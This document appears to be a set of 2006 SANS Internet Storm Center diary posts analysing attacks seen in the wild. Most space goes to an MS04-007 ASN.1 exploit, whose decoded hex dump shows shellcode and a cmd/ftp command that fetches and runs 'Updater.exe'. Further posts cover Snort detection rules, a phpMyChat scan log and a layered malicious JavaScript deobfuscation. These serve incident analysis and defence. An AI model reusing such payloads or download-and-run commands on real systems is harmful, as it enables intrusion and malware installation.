ASN.1 Attacks / MS04-007

Published: 2006-07-28
Last Updated: 2006-07-29 22:30:50 UTC
by Johannes Ullrich (Version: 1)
0 comment(s)
ASN.1 attacks are nothing new, neither is MS04-007. But they are still popular and I figure it may be interesting to look at a recent attack in a bit more detail and to show a couple tools to quickly figure out whats going on.

The traffic was collected at a development server of mine. It is connected to a cable modem via a firewall. The firewall logs every packet to/from the server which provides for nice detailed logs. I am only able to quote excerpts here as the packet is long/messy. In order to allow you to follow along, I made the packets of interest available here.

The packet of interest is the GET request:
GET / HTTP/1.0  
Host: a.b.145.11
Authorization: Negotiate YIIQeg...[long messy string]...RERE==
This particular authorization method is defined in RFC 4559, "SPNEGO-based Kerberos and NTLM HTTP Authentication in Microsoft Windows". The "long messy string" is the authentication token, and the web server should use it to authenticate the user. The RFC states that it is a "companion to the HTTP/1.1 specification", so the use of HTTP/1.0 is at least "odd" in the sample above.

MS04-007 details a vulnerability in Microsoft's ASN.1 parser. This parser is used by a number of subsystems in Windows, one of which is the decoding of these authentication tokens. The same vulnerability can be exploited via SMB or HTTP, using essentially the same exploit. In the HTTP case, the exploit has to be Base64 encoded. Only after decoding the token is it passed to the vulnerable ASN.1 parser. So lets look at the decode of the authentication token. To decode it, I used a little perl script:
use MIME::Base64;
print decode_base64("... long messy string... ==");

Sure, there are probably existing tools to decode this, but I try to limit the size of my tool box and tend to use these one liners for simple stuff like that.

Let's pipe the output of this script through "xxd" and we get:


0000000: 6082 107a 0606 2b06 0105 0502 a082 106e  `..z..+........n
0000010: 3082 106a a182 1066 2382 1062 0382 0401  0..j...f#..b....
0000020: 0041 4141 4141 4141 4141 4141 4141 4141  .AAAAAAAAAAAAAAA
0000030: 4141 4141 4141 4141 4141 4141 4141 4141  AAAAAAAAAAAAAAAA
... more 'AAAAA' ...
0000410: 4141 4141 4141 4141 4141 4141 4141 4141 AAAAAAAAAAAAAAAA
0000420: 4103 0023 820c 5703 8204 0a00 9042 9042 A..#..W......B.B
0000430: 9042 9042 81c4 54f2 ffff fce8 4600 0000 .B.B..T.....F...
0000440: 8b45 3c8b 7c05 7801 ef8b 4f18 8b5f 2001 .E<.|.x...O.._ .
0000450: ebe3 2e49 8b34 8b01 ee31 c099 ac84 c074 ...I.4...1.....t
0000460: 07c1 ca0d 01c2 ebf4 3b54 2404 75e3 8b5f ........;T$.u.._
0000470: 2401 eb66 8b0c 4b8b 5f1c 01eb 8b1c 8b01 $..f..K._.......
0000480: eb89 5c24 04c3 31c0 648b 4030 85c0 780f ..\$..1.d.@0..x.
0000490: 8b40 0c8b 701c ad8b 6808 e90b 0000 008b .@..p...h.......
00004a0: 4034 057c 0000 008b 683c 5f31 f660 56eb @4.|....h<_1.`V.
00004b0: 0d68 efce e060 6898 fe8a 0e57 ffe7 e8ee .h...`h....W....
00004c0: ffff ff63 6d64 202f 6b20 6563 686f 206f ...cmd /k echo o
00004d0: 7065 6e20 302e 302e 302e 3020 3234 3730 pen 0.0.0.0 2470
00004e0: 3620 3e20 6f26 6563 686f 2075 7365 7220 6 > o&echo user
00004f0: 3120 3120 3e3e 206f 2026 6563 686f 2067 1 1 >> o &echo g
0000500: 6574 2055 7064 6174 6572 2e65 7865 203e et Updater.exe >
0000510: 3e20 6f20 2665 6368 6f20 7175 6974 203e > o &echo quit >
0000520: 3e20 6f20 2666 7470 202d 6e20 2d73 3a6f > o &ftp -n -s:o
0000530: 2026 6465 6c20 2f46 202f 5120 6f20 2655 &del /F /Q o &U
0000540: 7064 6174 6572 2e65 7865 0d0a 0042 4242 pdater.exe...BBB
0000550: 4242 4242 4242 4242 4242 4242 4242 4242 BBBBBBBBBBBBBBBB
... more 'BBBBBB' ...

Nice! We got the payload of the exploit nicely decoded without haveing to speak too much opcode. Essentially the exploit attempts to run 'ftp' on my system to pull a second stage from the infecting host. The IP address is not obfuscated here. I assume whoever wrote this particular bot messed up coding the source IP and ended up with 0.0.0.0. And ftp server was listening on port 24706 at the attacking host. But it appeared to be too busy to let me download 'Updater.exe'. The attacking host was notified and has been cleaned.

Now in this case, the target was an Apache web server. The corresponding access and error logs from this attacks are:

Error Log:
[error] [client a.b.77.83] client used wrong authentication scheme: /

Access Log:
"GET / HTTP/1.0" 401 127 "-" "-"
The current snort ruleset uses this rule to detect MS04-007 over http:
alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS 
(msg:"WEB-IIS NTLM ASN.1 vulnerability scan attempt";
flow:to_server,established;
content:"Authorization|3A| Negotiate
YIQAAABiBoMAAAYrBgEFBQKgggBTMIFQoA4wDAYKKwYBBAGCNwICCqM";
reference:bugtraq,9633; reference:bugtraq,9635; reference:cve,2003-0818;
reference:nessus,12052; reference:nessus,12055; reference:nessus,12065;
reference:url,www.microsoft.com/technet/security/bulletin/MS04-007.mspx;
classtype:attempted-dos; sid:2386; rev:10;)

Note that this rule would not detect the particular version of the exploit shown here. If you run the packet capture posted above through snort, you will get however one alert from the http_inspect preprocessor:

[**] [119:15:1] (http_inspect) OVERSIZE REQUEST-URI DIRECTORY [**]
07/24-20:55:13.549206 a.b.77.83:2677 -> a.b.145.11:80
TCP TTL:112 TOS:0x20 ID:35513 IpLen:20 DgmLen:1500 DF
***A**** Seq: 0x31BB3658 Ack: 0xAD36B5D8 Win: 0xFFFF TcpLen: 20

(note that you have to use the '-k none' switch to ignore bad checksums).

A better rule may be:
content:"Authorization|3A|"; content: "Negotiate"; \
content: !"0a"; within: 100;

Which would just look for overly long 'Authorization: Negotiate' lines. I split up the 'Authorization: Negotiate' string to allow for various spaces and such. "nocase" may be another option to chose to make this rule safer. The RFC at first glance does not specify a maximum length for the authentication tokens, so your mileage may vary. With http_inspect enabled, you will get two alerts. One from your rule, and one from http_inspect.


Keywords:
0 comment(s)

phpMyChat scan

Published: 2006-07-28
Last Updated: 2006-07-29 22:27:13 UTC
by Johannes Ullrich (Version: 1)
0 comment(s)
I just found the following nice scan in one of my web servers:

"GET //chat/messagesL.php3 HTTP/1.1" 401 127 "-" "Mozilla/4.0
(compatible; MSIE 6.0; Windows 98)"
"GET /chat//chat/messagesL.php3 HTTP/1.1" 401 127 "-" "Mozilla/4.0
 (compatible; MSIE 6.0; Windows 98)"
"GET /phpchat//chat/messagesL.php3 HTTP/1.1" 401 127 "-" "Mozilla/4.0
 (compatible; MSIE 6.0; Windows 98)"
"GET /PhpMyChat//chat/messagesL.php3 HTTP/1.1" 401 127 "-" "Mozilla/4.0
 (compatible; MSIE 6.0; Windows 98)"
"GET /chatroom//chat/messagesL.php3 HTTP/1.1" 401 127 "-" "Mozilla/4.0
 (compatible; MSIE 6.0; Windows 98)"
"GET /chats//chat/messagesL.php3 HTTP/1.1" 401 127 "-" "Mozilla/4.0
 (compatible; MSIE 6.0; Windows 98)"
"GET /forum//chat/messagesL.php3 HTTP/1.1" 401 127 "-" "Mozilla/4.0
 (compatible; MSIE 6.0; Windows 98)"
"GET /php/phpmychat//chat/messagesL.php3 HTTP/1.1" 401 127 "-" "Mozilla/4.0
 (compatible; MSIE 6.0; Windows 98)"
"GET /phpMyChat-0.14.2//chat/messagesL.php3 HTTP/1.1" 401 127 "-" "Mozilla/4.0
 (compatible; MSIE 6.0; Windows 98)"
"GET /phpMyChat-0.14.5//chat/messagesL.php3 HTTP/1.1" 401 127 "-" "Mozilla/4.0
 (compatible; MSIE 6.0; Windows 98)"
"GET /phpMyChat//chat/messagesL.php3 HTTP/1.1" 401 127 "-" "Mozilla/4.0
 (compatible; MSIE 6.0; Windows 98)"


I guess it is safe to assume that the origin is not a 'Windows 98' machine as the client string suggests. The IP resolves to a server which identifies itself as 'Apache/1.3.31 (Unix)'.

Well, next time they come back I will have a dummy php script at these URLs to take a look what they are trying to acchieve. The program they are trying to exploit, phpMyChat, can be found here: http://www.phpheaven.net/phpmychat:home . The versions referenced about (14.2 and 14.5) came out in 2000 and 2001, so almost 5 years old now. The project looks a bit abandond.

If someone got details, let use know!
Update: Our reader Toni pointed out that phpmychat has multiple file inclusion issues if "register_globals" is not disabled. He also found this vulnerability: http://www.securityfocus.com/bid/17382/info

Keywords:
0 comment(s)

Security Fix for Apache

Published: 2006-07-28
Last Updated: 2006-07-29 01:13:15 UTC
by David Goldsmith (Version: 1)
0 comment(s)
We got a heads up today from one of our readers (thanks Oliver) that there is a newly discovered security issue with the mod_rewrite module in the Apache httpd server.  The issue itself has been in the Apache httpd code for sometime, depending on which of the three version trees you are using.  The vulnerability affects all three major version trees that Apache still supports (1.3, 2.0 and 2.2). From the release notes on Apache's web site:

    CVE-2006-3747: An off-by-one flaw exists in the Rewrite module, mod_rewrite, as shipped with Apache 1.3 since 1.3.28, 2.0 since 2.0.46, and 2.2 since 2.2.0.

The newest versions of each release can be obtained here:

Apache 1.3.37    Announcement   Change Log    GZIP'd TarBall
Apache 2.0.59    Announcement   Change Log    GZIP'd TarBall
Apache 2.2.3     Announcement   Change Log    GZIP'd TarBall

Although there are some conditions and restrictions on the specific combination of mod_rewrite directives that create the vulnerability, it is still recommended that anyone using the mod_rewrite module upgrade their Apache httpd installation sooner rather than later.  If you are not using the mod_rewrite module, you are not vulnerable to this potential issue.

If you have installed the Apache httpd web server from a binary distibution from your vendor, please check your vendor's patch announcements and distribution sites to see when you will be able to install the newer version of the software which addresses the flaw.
Keywords:
0 comment(s)

MSRC Blog Entry about POC of MS06-035

Published: 2006-07-28
Last Updated: 2006-07-28 23:05:44 UTC
by Scott Fendley (Version: 1)
0 comment(s)
Good Friday evening all (for those in the western hemisphere).

Microsoft posted a blog entry this afernoon containing information about their assessment of  recent reports of a vulnerability which was not addressed in MS06-035.  It appears that the current proof of concept is limited to a denial of service attack and is not currently being observed as an attack vector.  Microsoft reports that they have not identified any possibilities that the issue could allow remote code execution.

We recommend that you assess your particular situation.   Blocking ports 135-139, 445 is already a best practice.  Whitelist IPs that may need these ports, but remember to limit your exposure from your road warrior/home office users.   We expect that Microsoft will release a patch on August 8 to address this current threat.

For more information, please see http://blogs.technet.com/msrc/archive/2006/07/28/443837.aspx.
---
Scott Fendley
ISC Handler
Keywords:
0 comment(s)

Thunderbird Download Link

Published: 2006-07-28
Last Updated: 2006-07-28 19:51:14 UTC
by Chris Carboni (Version: 2)
0 comment(s)
Juha-Matti dropped us a note to say that although the 1.5.0.5 version of Thunderbird (which fixes the Thunderbird vulnerabilities discussed here is not available on the Thunderbird web site it is available at this mirror site.

Update: (2006-07-28 19:50 UTC) 1.5.0.5 is now available at the main site above and will be automatically downloaded if you choose the "check for updates" from the Help menu.
Keywords:
0 comment(s)

Sysadmin Appreciation Day

Published: 2006-07-28
Last Updated: 2006-07-28 15:23:53 UTC
by Johannes Ullrich (Version: 1)
0 comment(s)
Before I forget. Today is Sysadmin Appreciation Day. Well, feel appeciated ;-) Maybe your boss/spouse or significant other will read this and get you some nice toy (LED flowers?). More friday afternoon stuff: The System Administrator Song.
Keywords:
0 comment(s)

Browser *does* matter, not only for vulnerabilities - a story on JavaScript deobfuscation

Published: 2006-07-28
Last Updated: 2006-07-28 11:15:47 UTC
by Bojan Zdrnja (Version: 1)
0 comment(s)
Reader Gilbert sent us a link to a site that caused couple of alerts with his anti-virus program. Initially this looked like a typical web site hosting malware, but it turned out to be much more.

The HTML document was absolutely standard, except for one iframe which was, of course, hidden. This raised our eyebrows and we started following what turned out to be an interesting obfuscation.

Before we start with this we should stress out that, if you decide to do something similar, it is always recommended that you do this on an isolated machine ? virtual machines are ideal candidates for playing with malware of this type.

First Layer

The iframe pointed to a JavaScript file which used (today) more or less standard obfuscation: a function was defined with various permutations and it was called with a document.write at the end.
The obfuscation typically looks like this:

function dc(x){var l=x.length, ?
?. Various permutations ?
document.write(r)}}

dc(a_HDcBY@icbCvFIEjg ... long ASCII string ...);

As you can see, the dc() function is called with the encoded string, and document.write() is called at the end. This results in another JavaScript which is executed immediately after it's decoded by the document.write() call.
Decoding this JavaScript is typically pretty easy and there are numerous ways of doing it. The easiest way of what's going is just to replace the document.write() call with the alert() call ? this will cause your browser to print the whole new code in an alert popup.
If you want to be more creative, you can add code which will replace all < or > characters to something else ? this will cause your browser not to parse it as JavaScript.

Another nice trick is to add document.write("<textarea rows=100 cols=100>"); as first line after the script tag and document.write("</textarea>"); as last line. The decoded javascript will now show up nicely inside the text area which can be copy&pasted easy. Thanks to Tom and Johannes for this trick.

Second layer

So, once the first step was decoded we were greeted with another obfuscated code. This code looked similar to the previous one (but boy, we were wrong with that). This time the (de-)obfuscation function didn't end with a document.write() call, but with an eval() call. The eval() call evaluates a string and executes it as if it was script code. In other words, when obfuscating code, the eval() call is typically used to call some part of the existing code again.

This part is what caused us the most problems, and here's why. So, the deobfuscating code looks like this (non interesting parts have been removed):

function r(lI,t) {
?
for(var sa=0;sa<lI.length;sa+=arguments.callee.toString().length-444)
{
?
Various permutations;
}
eval(ii);
};
r('string');

So again, the function r() is called with a long ASCII string. There is a for loop which does various permutations and then an eval() is called. So, the first step we did here was to replace eval(ii) with alert(ii). That was easy enough but a surprise was waiting for us ? when we executed that we just got some binary output. Hmm, that can't be right.

After studying the permutation for loop a bit (permutations itself aren't interesting for us) we saw something interesting in the for loop definition itself. You can see that the sa variable is being increased in every step by something weird: sa+=arguments.callee.toString().length.

We never saw this before and (not being JavaScript experts) went to see what arguments.callee actually is. After some search, we found couple of references, like this one on Mozilla's web site: http://developer.mozilla.org/en/docs/Core_JavaScript_1.5_Reference:Objects:Function:arguments:callee.

Now the whole night became very very interesting. Arguments.callee specifies the function body of the currently executing function! So this code actually uses itself to do the permutation ? if you change something in the code (like we did when we replaced the eval() call with alert()) you will break the whole deobfuscation part!

Firefox is not IE and vice versa

But, this is not the end of the story. In this case, the sa variable is being increased by the value which is calculated from the function string length (arguments.callee.toString().length returns the number which is the length of the whole function in characters) decreased by 444.
So, if when replaced eval() with alert(), we added 1 character to the function length, so we had to increase this number to 445. Easy ? we changed that and started this in Mozilla and it didn't work again!

Two hours later (fast forward for you) we found a very interesting thing: Mozilla Firefox and Internet Explorer don't return same values when arguments.callee.toString().length is called on a function!
This is easy to test if you want ? just create the following HTML file:

<html>
<head>
    <script type="text/javascript">
    <!--

    function func(){var l = arguments.callee.toString().length;alert(l);}

    func();
    //-->
    </script>
</head>
</html>

This JavaScript creates a function called func and then displays content of the variable "l" ? the content will be whatever the call arguments.callee.toString().length return.
On our test machine, when this JavaScript is executed in Mozilla Firefox we get 81, while in Internet Explorer we get 69.
Why this is happening is another story, so lets get back to our deobfuscation.

A recursive call

Knowing this we now know that our alert() call with increased number (444 to 445) was actually ok, but we have to execute this from Internet Explorer, or we have to calculate new numbers for Mozilla.
We decided to use Internet Explorer (in a virtual machine, of course) and voila ? we got the eval() call content: it was another call to the r() function. Knowing how the r() function works, all we had to do was call it again and we got another obfuscated JavaScript (this is 4th step already).

This time, our job was easier. This part just consisted of an unescape() call. The unescape call basically has ASCII characters which are just shown as values. You can even "crack" this manually, but it is easier if you just assign this call to another variable and then display that with another alert() call.

After the unescape() call we were greeted with another obfuscation routine, which was simple this time ? it was actually very similar to the routine used in the first step, so all written above applied to this step as well.

The final result

And we finally arrived to the end of the whole (we caught the white rabbit). The final result was a bit disappointing at first ? it was another iframe to a PHP file.

That PHP file is exploit for MS06-014, RDS.Datastore data execution which dropped a downloader on the victim's machine. The downloader in turn downloaded second stage, which was a keylogger called Trojan.Anserin.

The dropped malware was more or less typical, but this was indeed a very interesting investigation, which taught us some new things about obfuscation which we haven't seen before.

Thanks to fellow handlers Arrigo and Swa for help with the analysis.

Keywords:
0 comment(s)

Comments


Diary Archives